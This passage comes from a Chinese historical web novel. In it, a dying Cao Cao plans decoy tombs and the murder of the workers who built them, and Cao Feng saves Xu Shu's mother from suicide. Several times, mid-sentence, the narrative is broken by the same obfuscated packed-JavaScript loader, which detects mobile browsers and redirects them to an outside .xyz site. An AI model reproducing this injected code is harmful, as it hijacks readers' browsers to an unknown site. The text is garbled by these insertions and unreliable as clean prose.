曹操防盗墓贼 殿外…… 曹操的心腹文臣武将们,围着须发皆白、面色凝重的张仲景。 这位当世神医刚刚从内殿退出,便被众人七嘴八舌地围住,焦急地探问魏王病情。 张仲景疲惫地摆摆手,眼中满是无奈,声音沙哑地重复着早已说过的话。 “诸位……” “老朽先前已再三叮嘱,魏王头风难治,再加上多年征战,累积的伤病,尤忌急怒攻心、忧思过度。务必使魏王心境平和,静养为宜!” “可你们……可你们就是不听啊!” 张仲景重重地叹了口气:“老朽已是倾尽毕生所学,能用的手段都用尽了。人力终有穷尽时。如今,唉!” 他又环视一圈焦急的众人:“诸位……” “准备后事吧。待魏王再次醒来,便是最后的光景了。有什么要紧的话,速速交代吧。”言罢,张仲景转身便走。 曹洪整个人僵在原地,不知该如何是好! 夏侯惇、夏侯渊、曹仁这三位曹氏和夏侯氏的顶梁柱,如今生死不明,音讯全无。 整个曹氏宗亲里,能勉强支撑大局的,似乎只剩下他曹子廉一人了! 一股前所未有的压力,与孤立无援的恐惧感,瞬间让他人懵了。 外姓重臣之中,情况同样堪忧。 曹操最为倚重、视为肱骨的谋主荀彧,不久前离奇病逝。其侄荀攸闻此噩耗,悲痛过度,竟也一病不起。 环顾四周,曹洪竟找不到一个能在威望、智谋上与他共同主持这风雨飘摇局面的可靠之人! 万幸的是,曹操凭借强韧的生命力,和不甘心就此撒手的执念,三天后,他在众人几乎绝望的等待中,醒了过来。 曹操气息微弱,却立刻强撑着召见了曹洪。 “子廉……” 曹操的声音嘶哑低沉,每说一个字都仿佛用尽了力气。 “我自知天命已至,大限将至。我的这副残躯,恐怕撑不了多久了……” 曹操艰难地喘息着,目光落在曹洪身上:“我死后,曹氏一族的亲眷、家眷,就托付给你了。望你念在同宗血脉,尽力保全他们周全……” “魏王……兄长!”曹洪哽咽着,泣不成声。 曹操微微抬手,示意他噤声,继续交代:“下葬之事……” “我早有安排。已全权交予孤之义子,曹宾操办。” “除他之外,任何人不得插手,不得过问!” 曹操的语气不容置疑,虽然病入膏肓,他还维持着一代枭雄的威严。 “待我入土为安后,曹宾自会前往你府上,听你差遣。” 曹洪强忍悲痛,问出了那个关乎整个曹氏基业未来的核心问题。 “魏王,那您的王位该由何人继承?” 曹操缓缓地摇了摇头,眼中闪过一丝复杂神情。 “我已留有遗嘱。遗嘱之中自有继位人选……” 曹操顿了顿,喘息愈发急促,“子廉,你忠勇有余,但心机谋略,非你所长。还有……” “你这性情过于刚直,我死后,你切勿贪恋权柄,更勿卷入嗣位之争!否则祸必及身!切记!切记!” “别忘了,你的一举一动都牵连着曹家上下所有人的生死。咱曹家如今只剩下你能撑住了。” 曹操临终的忠告,让曹洪含泪重重叩首:“臣弟……谨遵魏王教诲!” 曹操眼中闪过一丝狠厉,“我死后,你要把摸金校尉全部处决!” 曹洪连忙点头。他心知肚明—— 曹操是怕摸金校尉将来反水,连他的坟都不放过。 曹洪退下后,殿内只剩下死一般的寂静。 不多时,一个身材敦实、面容憨厚、双眼红肿的青年——曹操的义子曹宾,脚步沉重地走了进来。 他“扑通”一声跪倒在曹操榻前,额头抵在冰冷的地面,压抑的呜咽声,充满了悲痛。 看着这个憨厚的义子,曹操脸上难得挤出一丝极其微弱的、近乎慈祥的笑容。 “宾儿,我交代你的事,可都办妥了?” 曹宾抬起头,泪流满面,“父王,儿臣不敢有丝毫懈怠。已按父王密令在邺城周边隐秘之地,先后建造了七十二座疑冢。” 曹宾一边说着,一边用袖子狠狠擦去泪水,“每一处皆不设地面封土、不立墓碑、不树任何标志性建筑。墓地与寻常荒地无异。” “参与建造的所有工匠、民夫共计三千三百七十六人,已按父王旨意,尽数……” “尽数处决!如今七十二疑冢的确切位置,唯有儿臣一人知晓”说到最后,他的声音颤抖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15958025|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得厉害。 显然曹操交代的事情,让他承受了巨大的心理压力。 曹操满意的点了点头,“好,很好……” 曹操又继续嘱托:“我去逝的具体时辰,你需谨记!” “自那时辰往下顺延七个数,所对应的那座疑冢便是我真正的长眠之所!切记!” 他顿了顿,积攒着最后的气力:“入殓一切从简,我只着平日所穿旧衣即可,禁止陪葬任何金玉珍宝!”陪葬之人……” 曹操的目光闪过一丝犹豫。 不过,最终化还是为冰冷的坚决:“只卞夫人一人足矣。” 这简单的一句交代,决定了卞夫人最后的命运。 “另外……” 曹操的眼神陡然变得无比阴冷,“随行护送灵柩参与最终下葬的所有侍卫、仆役,乃至抬棺之人,事毕之后……” “一个不留!” “你亲自动手,务必处理干净!” “待此件事了,你即刻前往曹洪府上交差复命!” 曹宾闻言浑身一颤,脸色瞬间惨白。 曹宾强忍着心中的恐惧与悲伤,重重叩首:“儿臣……明白!儿臣定当办妥!” 他抬起头,眼中充满了不舍,“父王……” 曹操看着曹宾憨厚忠诚的面容:“宾儿,待我入土为安,一切尘埃落定后,你需换上最喜庆、最鲜艳的衣裳,然后大笑着前往曹洪府!” “父王!这……这如何使得?!” 曹宾大惊失色,几乎要跳起来。 曹操的眼神却异常平静,“傻孩子,死亡并不可怕。那不过是一场新生的开始。我这一生……” “金戈铁马,纵横捭阖(bǎihé)!破黄巾、讨董卓、灭袁术、平吕布、定河北、败袁绍……” “虽未竟全功,然足以称得上波澜壮阔。精彩绝伦!” “我无憾!我希望你能为我喝彩!为我这一生的丰功伟绩而感到由衷的高兴!这是我最后的心愿!” 看着曹操那近乎燃烧生命般说出的豪言壮语,曹宾的泪水再次汹涌而出。 他不再犹豫,用力地点了点头,声音哽咽:“儿臣谨记父王教诲!儿臣……遵命!” 随后,曹宾一步三回头,依依不舍地退出了寝殿。 第206章 曹操对王位继承的安排 当殿内只剩下曹操一人时,他脸上那强撑的豁达瞬间消散,取而代之的是疲惫。 他望着那扇紧闭的殿门,仿佛看到了曹宾未来注定的结局。曹操发出一声饱含复杂情绪的叹息。 “宁教我负天下人,休教天下人负我!” “宾儿,为了不让任何人打扰我长眠,孤只能让你随孤共赴黄泉了。莫怪父王心狠……” 稍作喘息,曹操强打精神,最后一次召见了目前尚在邺城、且他认为相对可靠的两位重臣。 掌管司法的钟繇与负责典章制度的**。 看着这两位跟随自己多年的老臣,曹操浑浊的眼中闪过一丝感慨:“元常、长文,我时日无多了……” “能托付身后大事的唯有你们二位了。” 曹操的目光艰难地移向榻边一个古朴的檀木匣子。 “匣中有我亲笔写的两份王位传承遗嘱……” 曹操指着木匣,对钟繇道:“元常,你持其中一份,上面写有曹风之名。你亲自走一趟,去见曹风……” 曹操的眼神变得异常锐利:“你需仔细试探曹风的态度!” “若曹风执意要弑君,杀皇帝,并且坚决不肯让曹婴承认我这个爷爷,那么……” 曹操的语气陡然变得冰冷、决绝,“你便不得将此遗嘱交予他!随后将其焚毁!化为灰烬!” 接着,他又转向**:“长文,你持另一份遗嘱,若元常此行不顺,未能交出遗嘱,你便持你手中另一份遗嘱,前往大牢将曹丕接出,并将遗嘱交予他!扶他继位!” 将这两份关乎曹氏未来的遗嘱安排妥当,曹操仿佛用尽了最后一丝心力。 等到殿中只剩下曹操一个人时,他抬头看向天幕。 此刻,天幕上正缓缓展开曹风众多高光时刻中的最后一幕。 画面展开…… 【时间回溯到建安十二年,曹操厉兵秣马,准备挥师南征荆州的前夕。】 【新野城下,曹仁率领的曹军先锋,遭遇了刘备的顽强抵抗。】 【指挥这场防御战的,正是刘备新近得到的一位重要谋士——徐庶。】 【徐庶以其出色的军事才能,运筹帷幄,不仅成功击退曹仁的数次猛攻,更利用地形巧妙设伏,让曹仁损兵折将,铩羽而归。】 这一战,不仅让刘备声威大震,更严重挫伤了曹操南下荆州的锐气,使其锋芒受挫。 【曹操在许都接到战报,震怒之余,对徐庶此人产生了极大的兴趣。】 【程昱给曹操献上了一个狠毒的计策。】 【多方打探之下,程昱得知徐庶侍奉母亲至孝,其母就居住在曹魏势力控制下的颍川郡。】 【程昱建议曹操利用徐庶的孝心,挖走刘备的这位“大脑”,使其短期内陷入无人可用的战略被动。】 同时,曹操也能收获一位难得的名士。 【曹操听从了程昱的计策,立即命擅长模仿笔迹的高手,精心伪造了一封徐母的“家书”。】 【信中内容更是直击徐庶软肋:“母病笃,旦夕难保,速归!若迟恐阴阳永隔,不复相见矣!”】 【徐庶接到这封“家书”,如遭晴天霹雳!】 【他向来事母至孝,此刻只觉天旋地转。】 【纵有万般不舍与对刘备的愧疚,徐庶也不得不含泪向刘备辞行。】 【刘备虽心如刀割,但知徐庶难处,也只能挥泪送别。】 【徐庶临行前,指心立誓:“纵使曹操相逼,庶终身不为设一谋!”】 【徐庶心急如焚地赶到许都。】 【徐母见儿子竟因一封伪造书信便轻易舍弃明主,投奔了自己向来痛恨的“汉贼”曹操,顿时勃然大怒!】 【她指着徐庶的鼻子,痛心疾首地怒斥:“糊涂!愚孝!汝弃明投暗,自取恶名,真愚夫也!有何面目来见我?!”】 【徐母性情刚烈,耻于住在曹营享受那沾满血污的荣华富贵。任凭徐庶如何哀求,她毅然搬离了曹操安排的宅邸,独自回到颍川乡下,住进了那间简陋破旧的祖屋,过着清贫的生活,以此明志。】 【这一日,徐母知道,今天又是儿子徐庶前来探望的日子。】 想到儿子因自己而身陷曹营,空负才华却无法施展,甚至可能背负骂名,她心如刀绞。 【她默默地走进灶房,舀出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15963647|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仅存的一点白米,细细淘洗,熬煮了一小锅稀薄的白粥。】 这白粥,是徐庶小时候最喜爱的食物。 【她小心翼翼地将粥分成两碗,端到那张破旧的木桌上。】 【看着那两碗冒着微弱热气的清粥,徐母深深叹了口气,声音里充满了对儿子无尽的牵挂与不舍。】 【然而,这叹息很快被一种更为决绝的神情所取代。】 【她转身,从角落拖出一条旧板凳,放在房梁下。】 【又翻出一条洗得发白、却依旧结实的白布带,费力地抛过房梁,打了一个死结。】 【她站上板凳,抬头望着那悬垂的白绫,眼神中没有恐惧,只有深深的痛惜与最后的决断:】 【“儿啊……,娘原本以为你聪慧过人,能明辨是非……却不想……”】 【“你聪明反被聪明误,竟被曹贼如此拙劣的伎俩所骗,落到今日这般境地。娘能为你做的……只有这最后一件事了……”】 【她的声音低沉而坚定:“就用娘这条老命,斩断你所有的退路!断了曹贼胁迫你的念想!”】 【“也好过让你背负那投效**的骂名!”】 在徐母看来,只要自己一死,徐庶便再无牵挂,曹操也失去了要挟的筹码,儿子或许还能保全一点清名。 【徐母深吸一口气,踮起脚尖,双手颤抖着伸向那冰冷的白绫套索……】 【“咚咚咚!”】 【就在这时,一阵突兀的敲门声骤然响起!】 【同时,门外传来一个年轻、清朗却有些陌生的声音:“请问,屋里有人吗?”】 【徐母的动作僵住。】 【她惊疑不定地侧耳倾听。】 【犹豫片刻,她还是慢慢走下板凳,走到门边,小心翼翼地拉开一条门缝。】 【门外站着一个少年。】 【他身材挺拔,穿着一身半新不旧的青色布袍,风尘仆仆,却难掩其眉宇间的英气与俊朗。】 【最引人注目的是他那双眼睛,清澈明亮,仿佛带着笑意。】 【“大娘,您好。”少年露出一个温和无害的笑容,礼貌地问道。】 第207章 老太太要上吊?我反手割断白绫还蹭碗粥! 【徐母警惕地打量着这个不速之客:“小郎君,你是哪位?找老身何事?”】 【少年脸上依旧挂着笑容:“我是曹……”】 【“嘭!!!”】 【话未说完,徐母如同被毒蛇咬了一口,脸色剧变,猛地将门狠狠关上!】 【巨大的声响震得门框簌簌落灰……】 门外的少年——正是曹风。 【他被这突如其来的闭门羹弄得一脸错愕,下意识地摸了摸自己的脸,喃喃自语:“我长得很像坏人吗?”】 【屋内,徐母背靠着冰冷的门板,又气又恨:“曹贼!定是曹操那奸贼派来的人!”】 【“想用些小恩小惠来收买老身?休想!门都没有!”】 这些天,曹操确实派了好几拨人来,软硬兼施,想接她回许都“享福”,好安抚因母亲疏远而苦闷的徐庶。 却都被徐母严词拒绝。 徐母定了定神,眼中决绝之色更浓,重新站回板凳,双手再次伸向那索命的白绫套索。】 【这一次,她动作更快,更坚决!】 【就在她闭上双眼,准备将脖颈套入那冰冷绳圈的瞬间……】 【“呀!大娘!您这是要干嘛?上吊啊?!”】 【一个带着几分惊讶的声音,再次让徐母睁开眼。】 【只见刚才门外那个俊朗少年,不知何时,竟趴在她家的窗框上,探出半个脑袋,一脸好奇地向里面张望!】 【“嘭!”】 【回应曹风的,是徐母麻利地关上了那扇破旧的窗户。】 【曹风隔着窗户,声音清晰地传进来:“大娘您行行好!我赶了几天路,饿得前胸贴后背了。您让我吃口饭,吃饱了您再上吊也不迟啊!”】 【这混不吝的话语,差点把徐母气个倒仰!】 【她只觉得一股邪火直冲脑门:“这……这到底是哪家跑出来的倒霉孩子?!连老太太我死前想求个清净都不成吗?!”】 【徐母深吸几口气,再次将目光投向那悬着的白绫。】 【她不再犹豫,心一横,踮起脚尖,双手抓住绳套,用力将头伸了进去!】 【冰冷的绳索瞬间勒紧了她的脖颈,窒息感汹涌而来……】 “唰啦!”】 【就在这生死一线的关头,头顶传来一声极其轻微的布帛撕裂声!】 【徐母只觉得手中一轻,身体不由自主地向前踉跄了一下,险些摔倒!】 【她惊愕地抬头望去——】 【只见房顶破洞处,少年曹风正笑嘻嘻地探着手,手中握着一柄寒光闪闪的**!】 【而那条索命的白绫,赫然已被他从上方齐刷刷地割断了!】 【断口处还飘着几缕白茬!】 【“你!!!”】 【徐母气得说不出话,指着曹风的手指都在颤抖。】 【曹风却像没事人一样,指着桌上那两碗早已凉透、却依旧散发着淡淡米香的白粥,嬉皮笑脸地道。】 【“大娘,您看,死之前行行好,给碗粥喝呗?反正你也要上路,留着这粥也是浪费了。”】 【看着曹风带着惫懒笑容的脸,再看看手中那条断成两截的白绫,徐母满腔的怒火和死志,竟被曹风搅得七零八落,一时间哭笑不得。】 【她喘着粗气,瞪着曹风,最终还是无奈地长叹一声,认命般地从板凳上走了下来。】 【“你……你进来吧!”】 【徐母没好气地说着,转身准备去开门。】 【“好嘞!多谢大娘!”】 【话音刚落,只听“咚”的一声闷响,曹风竟直接从房顶的破洞处轻盈地跳了下来,稳稳落在屋子中央,动作干净利落,显然身手不凡。】 【徐母再次被惊得目瞪口呆!】 她这才意识到,眼前这少年若真想进来,根本无需敲门或者询问。 他之前敲门,是对她这个老人的尊重。 这让她心中的恼怒稍稍平复了一些。 这孩子虽然顽皮无赖,但似乎…… 还懂些礼数? 【“唉……”徐母又叹了口气,指着桌上的粥,“喝吧,喝完了赶紧走,别在这儿碍事。”】 【语气虽然依旧生硬,却少了几分敌意。】 【曹风也不客气,端起一碗凉粥,便咕咚咕咚几口就喝了个精光。】 【他似乎意犹未尽,眼睛又瞟向另一碗。】 【徐母见状,犹豫了一下。】 那碗粥,本是留给儿子徐庶的…… 【但她看着曹风风尘仆仆的样子,最终还是心一软,将留给儿子的那碗粥也推到了曹风面前,“孩子,喝吧。”】 这已经是她家中最后的存粮了。 【出乎意料的是,曹风这次却没有立刻去端碗。】 【他脸上的嬉笑神色消失了,取而代之的是一种难以言喻的落寞。】35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15967616|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 【他低着头,看着碗中清澈的米汤,长长的睫毛微微颤动,眼圈竟有些泛红。】 【徐母敏锐地察觉到了他的情绪变化,不禁关切地问道:“小伙子,怎么了?是……是粥不好喝?凉了?”】 【曹风抬起头,努力挤出一个笑容,摇了摇头:“没……”】 【“粥很好喝。”曹风的声音有些沙哑,“小时候,我娘给我熬白粥,也总喜欢给我放一小勺糖……”】 曹风笑容里,带着怀念和痛楚。 徐母的心,瞬间被触动了。 【她看着眼前这少年落寞的神情,语气不由自主地放柔了许多:“那你娘……她现在……?”】 【“我娘……”曹风的声音低沉下去,“在我很小的时候就被坏人害**……”】 【“唉!可怜的孩子……”徐母的眼眶也湿润了,同病相怜的痛楚涌上心头,对曹风的最后一丝戒备也烟消云散。】 【“原来……也是个没娘疼的苦命人啊……”】 【她下意识地想把那碗留给儿子的粥再往曹风面前推推。】 【曹风看着徐母推过来的那碗粥,却依旧没有动。】 【他抬起头,目光清澈地看着徐母,轻声问道:“大娘,这碗粥……是您特意留给……很重要的人的吧?”】 这一问,仿佛戳中了徐母心中最深的痛处。 她再也忍不住,长叹一声,积压多日的委屈、愤怒和对儿子的担忧倾泻而出。 【她将曹操如何伪造书信骗徐庶离开刘备,徐庶如何被骗至曹营,自己如何怒斥儿子,又如何搬回乡下,以及自己为何要寻死的缘由,一五一十地告诉了眼前这个萍水相逢、却让她倍感亲切的少年。】 【“这就是大娘你要自尽的原因?”曹风听完,眉头紧锁,语气变得异常严肃,“大娘啊,您有没有想过……”】 【“徐兄他若像我一样突然没了母亲,该是何等的伤心欲绝?那会是剜心之痛啊!”】 【徐母凄然一笑,眼中含着泪。】 【随后,她却带着一种近乎固执的决绝:“只有我**,我儿才能真正摆脱曹操的掌控!他才不会再被要挟!他才有机会重新选择!只要他好,我这把老骨头死也值得了!”】 【“大娘!您错了!”曹风声音陡然提高,“您这么做,不仅帮不了徐兄,反而是害了他!”】 【“什么?!”徐母浑身一震,难以置信地看着曹风。】 第208章 成功劝说徐母 【曹风条理清晰地为徐母分析局势:“大娘,您静心仔细想一想。”】 【“徐兄被那曹操以伪造的家书诱骗至此,不得不离开了他所追随的明主刘备。此举,世人会如何评判?”】 【曹风稍作停顿,目光如炬:“这叫做‘不忠’!”】 【紧接着,曹风话锋一转:“然而,世人看待此事,却不会仅仅止步于‘不忠’。”】 【“他们会说,徐元直虽然背负了不忠之名,但究其根源,乃是救母心切,是至情至性的孝子所为!”】 【“这份因孝而生的‘不忠’,情有可原,天下人听闻,心中多半会涌起同情与理解。”】 【徐母也跟着点了点头,觉得曹风说的很有道理。】 【曹风的语气陡然变得沉重:“但是,大娘,您若因这件事愤然自尽!这噩耗一旦传扬出去,沸沸扬扬于天下,世人又将如何议论徐元直呢?他们又会如何评论这场悲剧?”】 【曹风描绘着可怕的景象:“他们会说!”】 【“徐庶投奔曹操,不仅背弃了旧主刘备,是为不忠!更因其投曹之举,竟至生生逼**自己的亲生母亲!是为不孝!”】 【“等到那时,一个‘不忠不孝’的罪名,将永远地扣在徐兄的头上!”】 【“他将被天下万民唾弃辱骂,被士林清流鄙夷不齿!”】 【“他从此便再无容身之地!”】 【“这难道就是您忍心看到的结果吗?这难道就是您以死想要换来的局面吗?!”】 【“不忠……不孝……”这四个字狠狠刺入了徐母的心脏。】 【她脸上的血色瞬间褪得一干二净,变得惨白,背后的冷汗瞬间浸透了单薄的粗布衣衫!】 她此前只想着以这刚烈的一死,断绝曹操用来要挟儿子的筹码,却从未真正站在儿子的立场…… 从未深思过这决绝之举会带给儿子何等可怕的后果! 自己若真的吊死在这白绫之上,哪里是在帮儿子解脱? 分明是将儿子徐庶亲手推向了身败名裂、万劫不复的绝境深渊! 【徐母颤抖着抬起头,看着眼前这个目光清澈明亮的少年郎,她浑浊的老眼中,充满了劫后余生的感激与后怕。】 【“小伙子!是你……是你救了老身这条贱命,更是你救了我儿徐庶的一生清誉啊!”】 【“若非你及时出现,点醒我这糊涂的老婆子,我险些……”】 【“唉!险些就铸成无法挽回的大错!我险些就亲手害了我儿的一生前程,毁了他的万世之名啊!”】 【她的话语带着哽咽,充满了自责和庆幸。】 那断成两截、躺在冰冷桌面上的白绫,在徐母眼中,此时已不再是解脱的绳索,而是一条差点活活勒死她亲生儿子的恐怖绞索! 同时,眼前这个方才还被她在心中暗暗斥为“倒霉孩子”的少年,转瞬之间,已然成了她和儿子命运中至关重要的救命恩人。 徐母实在不知下一步该如何是好,既担心自己留下成为儿子的负累,更忧虑儿子被迫为曹操效力,助曹为虐。 她见曹风思维敏捷,句句切中要害,心中不由得升起一股信赖。 【于是她开口询问道:“小伙子,我看你见识不凡。依你之见,老身母子该如何是好?”】 【“我实在……实在不忍心眼睁睁看着我儿为那曹贼效力,行不义之事啊!”】 曹风此行,正是为此而来,心中早已为徐庶母子谋划好了周全之策。 不过,出于坦诚与尊重,他决定先行表明自己的**,以免后续再生误会。 【他整了整衣襟,神情变得郑重,对着徐母深深一揖。】 【“大娘,事到如今,风不敢再有隐瞒。晚辈名叫曹风,曹操诸子之中排行第三。但是,我与那曹操也有仇。”】 【“什么?!”徐母惊得脱口而出,老眼睁得滚圆。】 【“你……你就是那个……那个传闻中在许都横行霸道、十恶不赦的纨绔子弟曹风?”】 【徐母难以置信地上下打量着眼前这个举止有度、谈吐不凡的少年。】 【曹风闻言,脸上掠过一丝尴尬,不由得抬手挠了挠头“看来晚辈这‘恶名’,已是远扬四海,深入人心了。”】 不过他眼中随即闪过一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15975161|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丝精光,并无懊恼,反而带着一丝坦然。 对曹风来说,这并非坏事。想要瞒过曹操遍布天下的眼线耳目,他必须要演得像个彻头彻尾的废物纨绔,而且,演得越像越好,越真越安全。 【徐母脸上的震惊并未持续太久。】 【她再次仔细打量了曹风一番,眼神中的惊疑逐渐被另一种审视取代。】 【她带着困惑道:“可……可你和那传闻中的曹风也相差太远了!”】 【“你这孩子,无论从相貌气质,还是方才与老身的那一番交谈来看,沉稳有度,思虑周全。哪里有一丝一毫像是个十恶不赦的纨绔子弟?”】 【她摇着头,叹息道:“看来这市井的传言,果真最信不得。曹公子,你快快说说看,究竟有何良策,能助我儿摆脱那曹操的束缚?”】 【曹风沉声道:“大娘,您可迁往凉州定居。那里……”】 【他语气中透出一股自信,“是晚辈经营多年的根基之地。只要您安然居于凉州,曹操对徐兄的胁迫自然也就失效了。”】 【徐母闻言,眉头却并未舒展,反而忧心忡忡道:“老朽这把年纪,倒是不惧凉州的苦寒风霜。只是……”】 【“只是这许都内外,处处都是曹操布下的眼线暗探。老身一个深居简出的老妇人,手无缚鸡之力,如何能脱身远去?”】 【曹风脸上露出自信的微笑:“大娘尽管放心,此事晚辈自有安排。”】 【“曹操虽有校事府这无孔不入的爪牙,但晚辈手中,也有一支更厉害的力量,名为‘魑魅魍魉’。”】 【“更何况,曹操那校事府的头子,此刻正‘安卧’在我凉州地界,动弹不得。”】 【“没了他,校事府不过是一盘散沙,不足为虑。”】 【徐母缓缓地点了点头,算是同意了曹风的提议。】 连她自己都有些惊讶,为何会对眼前这个初次见面的年轻人产生如此强烈的信服感。 这或许,就是儿子徐庶时常在她耳边提起的所谓的魅力吧? 就像儿子当年一提起那位仁德之主刘备时,眼中闪烁的那种由衷敬服的光芒。 第209章 曹风:我救你娘,你砍我?这届孝子太难带了! 【曹风又笑着补充:“大娘,您可能还停留在过去的印象。如今的凉州,在晚辈舅舅的悉心治理下,早已今非昔比。不再是您想象中那个贫瘠苦寒的不毛之地了。”】 【“那里的百姓,安居乐业,丰衣足食,生活质量一点儿也不比中原富庶之地逊色。”】 【“家家户户都住进了能抵御风寒的坚实屋舍,冬日里更有充足的煤炭取暖,街头巷尾,如今再也看不到冻馁而死的凄惨景象了。”】 【就在徐母听着曹风的描述,心中将信将疑,房屋那扇略显破旧的木门,突然被人从外面轻轻叩响。】 【“母亲,孩儿回来了!”】 【“今日下值早些,特来看望您老人家!”门外传来徐庶那熟悉而带着关切的声音。】 【徐母迅速收敛了脸上的复杂神色:“门没闩,我儿直接进来便是。”】 【徐庶脸上带着归家见到母亲的欢喜笑容,应声推门而入。】 【然而,就在他踏入房间的一刹那,目光扫过室内,脸上的笑容瞬间凝固!】 他虽然被迫在曹操麾下任职,但并未见过曹风真容。 此刻突然看到一个陌生的年轻男子出现在母亲身边,而母亲脸色似乎有些苍白…… 更让他心惊肉跳的是,那张熟悉的桌案上,赫然摆放着断为两截的刺眼白绫! 一股不祥的猜测瞬间涌上徐庶心头! 【徐庶眼中寒光暴射,右手按上了腰间的佩剑剑柄,死死盯住曹风,厉声喝道。】 【“你是何人?!速速报上名来!我徐庶手中长剑,也曾饮过贼寇之血!”】 【“你若是胆敢伤我母亲一根头发,今日定叫你血溅五步,命丧当场!”】 【徐母一看儿子徐庶误会了曹风,情急之下,立刻提高声音呵斥道:“元直!你已是而立之年的人了,怎么行事还如此急躁莽撞!事情尚未弄清分毫,便拔剑相向,成何体统!”】 【她指着曹风,急切地解释,“这位是曹风公子!他是特意来……”】 【“什么?!曹风?!”徐庶一听这个名字,如同被点燃的**桶,心中对曹操的愤恨瞬间找到了宣泄口。】 【他根本不等母亲说完,恨声道:“好个奸诈曹贼!竟敢派他这恶名昭彰的孽子来谋害我娘!”】 【话音未落,他手中长剑已带着满腔的怒火与决绝,直刺曹风心口!】 【这一剑,又快又狠!】 【面对这突如其来、直取性命的凶狠一剑,曹风的面色却平静得出奇。】 【曹风嘴角甚至微微上扬,依旧挂着那抹淡淡的笑意。】 【就在剑尖及身前,曹风身形侧面轻轻一滑,动作飘逸流畅,恰到好处地让那致命的一剑贴着衣襟刺空!】 【与此同时,他右手如鹰爪般疾探而出,精准无比地扣住了徐庶持剑的手腕脉门,五指如同铁钳般骤然发力!】 【徐庶只觉得手腕处传来一阵钻心的剧痛,几乎握不住剑柄。】 【就在徐庶下意识想要抽身时,曹风的左脚已迅速踢出,脚尖直点徐庶的右腿膝盖侧弯要害!】 【徐庶到底是游侠出身,身手不凡,强忍手腕剧痛,猛地拧腰侧身,险之又险地避开了这足以让他当场跪倒的一击。】 【然而,他身形刚动,便听得曹风口中一声轻喝:“给我撒手!”】 【话音未落,一股巨大的力道从曹风扣住徐庶手腕的五指上猛然爆发!】 【徐庶支撑不住,只觉得腕骨欲裂,痛呼一声,长剑再也把握不住,脱手向下坠落!】 【而曹风左手向下一抄,稳稳地将那柄坠落的利剑,接在了手中。】 动作行云流水,干净利落! 【徐庶大吃一惊。他万万没想到,传说中是个废物的曹风,竟然有这么好的身手。刚刚短短几招,徐庶就看出,曹风的武艺绝对是一流水准。】 【“好身手!不愧是名震荆襄的游侠儿徐元直!”曹风松开紧握徐庶手腕的五指,随手将夺来的长剑倒转,递向徐庶,脸上带着一丝赞赏的笑意,“若非在下自幼习武,略通拳脚,今日恐怕真要含冤屈死在徐兄这雷霆一剑之下了。”】 【“这误会,可真是要命啊。”】 【“呸!谁和你这曹家纨绔称兄道弟!”徐庶揉着剧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15980754|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痛发麻、几乎失去知觉的手腕,眼中怒火未消,同时脚下快速侧移几步,挡在了自己母亲身前,摆出一副誓死护卫的姿态。】 【可万万没想到,老太太非但不领他这份拼死维护的孝心,反而怒气冲冲地抬起脚,毫不客气地在他小腿上狠狠蹬了一下!】 【“你这个不知好歹的混账小子!竟敢对救命恩人曹公子如此无礼!若不是曹公子及时出现,此刻你我母子二人早已是阴阳两隔,天人永诀了!你还不快向公子赔罪!”】 【徐庶又惊又疑:“娘?您说什么?”】 他完全懵了,不明白母亲为何如此维护这个曹家子。 徐母又是心疼又是气恼,当下便将曹操过往派人送信威逼、自己万念俱灰之下欲悬梁自尽,以及曹风如何及时救下她…… 